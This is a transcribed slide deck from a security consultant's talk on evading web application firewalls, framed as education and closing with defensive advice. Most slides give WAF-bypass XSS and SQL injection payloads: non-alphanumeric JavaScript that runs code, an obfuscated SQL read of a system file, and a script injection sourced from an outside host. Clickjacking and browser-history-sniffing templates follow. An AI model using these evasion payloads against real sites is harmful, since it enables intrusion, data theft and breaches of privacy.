Bypassing Web Application Firewalls

2,611 views

Published on

Published in: Technology
0 Comments
2 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
2,611
On SlideShare
0
From Embeds
0
Number of Embeds
58
Actions
Shares
0
Downloads
150
Comments
0
Likes
2
Embeds 0
No embeds

No notes for slide

Bypassing Web Application Firewalls

  1. 1. Bypassing Web Application Firewalls (WAFs) Ing. Pavol Lupták, CISSP, CEH Lead Security Consultant         www.nethemba.com             www.nethemba.com      
  2. 2. Nethemba – All About Security Highly experienced certified IT security experts (CISSP, C|EH, SCSecA) Core business: All kinds of penetration tests, comprehensive web  application security audits, local system and wifi security audits, security  consulting, forensic analysis, secure VoIP, ultra­secure systems OWASP activists: Leaders of Slovak/Czech OWASP chapters, co­authors  of the most recognized OWASP Testing Guide v3.0, working on new version  We are the only one in Slovakia/Czech Republic that offer:  Penetration tests and security audits of SAP  Security audit of smart RFID cards  Unique own and sponsored security research in many areas (see  our references – Vulnerabilities in public transport SMS tickets,   cracked the most used Mifare Classic RFID cards)        www.nethemba.com       
  3. 3. What are WAFs? Emerged from IDS/IPS focused on HTTP  protocol and HTTP related attacks Usually contain a lot of complex reg­exp rules  to match Support special features like cookie encryption,  CSRF protection, etc. Except of free mod_security they are quite  expensive (and often there is no correlation   between the price and their filtering capabilities)         www.nethemba.com       
  4. 4. WAFs implementations Usually they are deployed in “blacklisting mode”  that is more vulnerable to bypasses and  targeted attacks Application “context” (type of allowed inputs) is  necessary to know for deploying of more secure  “whitelisting mode” All WAFs can by bypassed WAF is just a workaround, but from the security   point of view it can be cost­effective        www.nethemba.com       
  5. 5. WAF filter rules Directly reflects WAF effectiveness For most WAF vendors they are closely  guarded secrets – most determined attackers  are able to bypass them without seeing the  actual rules Open­source WAFs (mod_security, PHPIDS)  have open source rules which is better for  more scrutiny by skilled penetration testers         www.nethemba.com       
  6. 6. Typical WAF bypassesBlocked Attack Undetected modificationor 1=1-- or 2=2--alert(0) %00alert(0)<script>alert(0)</script> <script type=vbscript>MsgBox(0)</script> or =r /**/OR/**/=<script>alert(0)</script> <img src=”x:x” onerror=”alert(0)”></img><img src=x:x onerror=alert(0)//></img> <img src=http://url onload=alert(0)//></img>1 or 1=1 (1)or(1)=(1)eval(name) x=this.name X(0?$:name+1)          www.nethemba.com       
  7. 7. Yes, WAF may be also be vulnerable! WAF also increases the attack surface of a  target organization WAF may be the target of and vulnerable to  malicious attacks, e.g. XSS, SQL injection,  denial­of­service attacks, remote code  execution vulnerabilities These vulnerabilities have been found in all  types of WAF products(!)         www.nethemba.com       
  8. 8. Typical bypass flow 1. Find out which characters / sequences are  allowed by WAFs2. Make an obfuscated version of your injected  payload3. Test it and watch for the WAF/application  response4. If it does not work, modify it and try step 2.         www.nethemba.com       
  9. 9. Javascript obfuscation Javascript has very powerful features Javascript payload is used in XSS attacks It is full of evals, expression closures, generator  expressions, iterators, special characters and  shortcuts Supports a lot of encodings (unicode –  multibyte characters, hexadecimal, octal,  combination of all of them)  Supports XOR, “Encryption”, Base64        www.nethemba.com       
  10. 10. Non­alphanumeric javascript code Even if only few characters are allowed it is  possible to construct fully functional code: _=[]|[];$=_++;__=(_<<_);___=(_<<_)+_;____=__+__;_____=__+___; $$=({}+"")[_____]+(+{}+"")[_]+({}[$]+"")[_]+(($!=$)+"")[___]+(($==$)+"") [$]+(($==$)+"")[_]+(($==$)++"")[__]+({}+"")[_____]+(($==$)+"")[$]+({} +"")[_]+(($==$)+"")[_];$$$=(($!=$)+"")+[_]+(($!=$)+"")[__]+(($==$)+"") [___]+(($==$)+"")[_]+(($==$)+"")[$];$_$=({}+"")[+_____]+({}+"")[_]+({} +"")[_]+(($!=$)+"")[__]+({}+"")[__+_____]+({}+"")[_____]+(+{}+"")[_]+({} [$]+"")[__]+(($==$)+"")[___]; ($)[$$][$$]($$$+"("+$_$+")")()   ([,Á,È,ª,É,,Ó]=!{}+{},[[Ç,µ]=!!Á+Á][ª+Ó+µ+Ç])()[Á+È+É+µ+Ç](­~Á)           www.nethemba.com       
  11. 11. Lets bypass WAF! Example situation: WAF blocks alpha  characters and numbers (probably not a very  real situation, just proof­of­concept :­) Allows only few special characters (){}_=[];$”! +<> Lets generate fully nonalphanumeric javascript  code!          www.nethemba.com       
  12. 12. Possibilities of Javascript language We can use numbers to obtain a single character in a string, e.g. index zero for accessing the first character ­ “abc”[0] We can use addition (+), subtraction (­), multiplication (*), division (/), modulus (%), increment (++), decrement (­­) We know that mathematical operators perform automatic numeric conversion and string operators perform automatic string conversion          www.nethemba.com       
  13. 13. Source of different alphanumeric  characters in Javascript Javascript object / String result error state {}+ “[object Object]” +[][+[]] “NaN” [][+[]]+[] “undefined” [![]]+[] “false”  [!![]]+[]   “true”      www.nethemba.com       
  14. 14. Shortest Possible Ways to Create  Zero without Using Numbers Characters Result +[] 0 +`` 0 +”`” 0 -[] 0 -`` 0 -”`” 0         www.nethemba.com       
  15. 15. Generating numbers +[] //0 ++[[]][+[]] //1 +!+[] //1 ++[++[[]][+[]]][+[]] //2 !+[]+!+[] //2 ++[++[++[[]][+[]]][+[]]][+[]] //3 !+[]+!+[]+!+[] //3         www.nethemba.com       
  16. 16. Gain alpha characters without  directly using them When define Javascript object using the object  literal and concatenate with string, the result is  [object Object] _={}+; //[object Object] alert(_[1]) //returns o character         www.nethemba.com       
  17. 17. Generate string “alert” without using  any alphanumeric characters Lets start with a  What Javascript object contains a?  We can use NaN (Not a Number) Access empty string with index “0” (undefined)  and convert to number (NaN)  +[][+[]] // result: NaN         www.nethemba.com       
  18. 18. Generating a character NaN[1]=a ++[[]][+[]] //1 +[][+[]]+[] // result string: NaN (+[][+[]]+[])[++[[]][+[]]] //a We have character a         www.nethemba.com       
  19. 19. Generating l character Use boolean false We can use ! (NOT) operator e.g. ==0 //true Use blank array (string) and then NOT operator  to obtain boolean, wrap with [] and convert it to  string ([![]]+[]) //string “false”         www.nethemba.com       
  20. 20. Generating l character ++[++[[]][+[]]][+[]] //2 ([![]]+[]) //string “false” false[2] = ([![]]+[])[++[++[[]][+ []]][+[]]] // l   We have l character!         www.nethemba.com       
  21. 21. Generating e character Its easy, we can use boolean true ([!![]]+[]) // string true ++[++[++[[]][+[]]][+[]]][+[]] //3 true[3] = ([!![]]+[])[++[++[++ [[]][+[]]][+[]]][+[]]] //e And we have e character!         www.nethemba.com       
  22. 22. Generating r character Its easy, we can use boolean true ([!![]]+[]) // string true  ++[[]][+[]] //1 true[1] = ([!![]]+[])[++[[]][+ []]] //r And we have r character!         www.nethemba.com       
  23. 23. Generating t character Its easy, we can use boolean true ([!![]]+[]) // string true  +[] //0 true[0] = ([!![]]+[])[+[]] //t And we have t character!         www.nethemba.com       
  24. 24. And now we have alert string! (+[][+[]]+[])[++[[]][+[]]]+([![]]+ [])[++[++[[]][+[]]][+[]]]+([!![]]+ [])[++[++[++[[]][+[]]][+[]]][+[]]]+ ([!![]]+[])[++[[]][+[]]]+([!![]]+ [])[+[]] //string alert         www.nethemba.com       
  25. 25. How to execute the code of our choice? It is necessary to return window object to  access all properties of window  If you can access to a constructor, you can  access Function constructor to execute  arbitrary code The shortest possible way to get window is: alert((1,[].sort)()) // shows  window object !  Works in all browsers except IE        www.nethemba.com       
  26. 26. How to generate sort string  We know how to generate string alert We need to generate sort string false[3]=([![]]+[])[++[++[++[[]] [+[]]][+[]]][+[]]] //s  We can gain o from []+{} [object Object] ([]+{})[++[[]][+[]]] //o We have already generated r and t         www.nethemba.com       
  27. 27. And now we have sort string([![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([]+{})[++[[]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]] //string sort         www.nethemba.com       
  28. 28. Lets build it together – call alert(1) (1,[].sort)().alert(1) After changing number 1 and all alpha  characters to their obfuscated version we get:([],[][([![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([]+{})[++[[]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]]])()[ (+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]] +([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++ [[]][+[]]]+([!![]]+[])[+[]]](++[[]][+[]])   //calls alert(1)!        www.nethemba.com       
  29. 29. How to call any arbitrary  Javascript function Using the array constructor (accessing the  constructor twice from an array object returns  Function): [].constructor.constructor(“alert(1 )”)()  We need to generate the rest c,n,u letters,  gain them from the output of [].sort function:  function sort() { [native code] }        www.nethemba.com       
  30. 30. SQL obfuscation What is obfuscation of SQL injection vector? Different DBMS have different SQL syntax,  most of them support Unicode, Base64, hex,  octal and binary representation, escaping,  hashing algorithms (MD5, SHA­1) Many “blacklisted” characters can be replaced  by their functional alternatives (0xA0 in MySQL) Obfuscated comments – it is difficult to   determine what is a comment and what is not        www.nethemba.com       
  31. 31. SQL obfuscation examples SELECT CONCAT (char  (x70617373,b11101110110111101110010011 00100)) s/*/e/**//*e*//*/l/*le*c*//*/ect~~/**/1   SELECT  LOAD_FILE(0x633A5C626F6F742E696E69)  (M)  SELECT(extractvalue(0x3C613E61646D696E3  C2F613, 0x2F61))        www.nethemba.com       
  32. 32. New SQL features MySQL/PostgreSQL supports XML functions: SELECT UpdateXML(<script x=_></script>, /script/@x,src=//0x.lv); HTML5 supports local DB storage (SQLite  3.1+) (openDatabase object) – can be misused  for persistent XSS, local SQL injection attacks         www.nethemba.com       
  33. 33. Existing obfuscation tools Hackvertor http://hackvertor.co.uk/public HackBar  https://addons.mozilla.org/en­US/firefox/addon/hack Malzilla http://malzilla.sourceforge.net/ Your imagination :)         www.nethemba.com       
  34. 34. Summary WAFs are just workarounds! The best solution is to care about security in every SDLC  phase and strictly validate all inputs and outputs in the  application Use whitelisting instead of blacklisting (both in the  application and WAF!) Use multilayer security ­  3rdlayer database architecture or  database firewalls for SQL use “prepared” statements  for HTML use HTML Purifier or OWASP AntiSamy project        www.nethemba.com       
  35. 35. References Web Application Obfuscation  http://www.amazon.com/Web­Application­Obfuscati XSS Attacks: Cross Site Scripting Exploits and  Defense  http://www.amazon.com/XSS­Attacks­Scripting­Exp Special thanks to Mario Heiderich and Stefano  Di Paola          www.nethemba.com       
  36. 36. UI redressing attacks­ clickjacking <style> iframe { filter: alpha(opacity=0); opacity: 0; position: absolute; top: 0px; left 0px; height: 300px; width: 250px; } img { position: absolute; top: 0px; left: 0px; height: 300px; width: 250px; } </style> <img src=”WHAT THE USERS SEES”/> <iframe src=”WHAT THE USER IS ACTUALLY INTERACTING   WITH”></iframe>        www.nethemba.com       
  37. 37. Clickjacking protection Blocks using X­FRAME/OPTIONS: NEVER <body> <script> if (top!=self)  document.write(<plaintext>); </script> ...         www.nethemba.com       
  38. 38. CSS History attack <style> a { position: relative; } a:visited { position: absolute; } </style> <a id=”v” href=”http://www.google.com/”>Google</a> <script>  var l=document.getElementById(“v”); var c=getComputedStyle(l).position; c==”absolute”?alert(“visited”):alert(“not visited”);  </script>        www.nethemba.com       
  39. 39. CSS History exploitation methods Social network deanonymization attacks Session ID/CSRF token local brute force attack LAN scanners Fixed in Firefox 4.0, current browsers are  vulnerable         www.nethemba.com       

×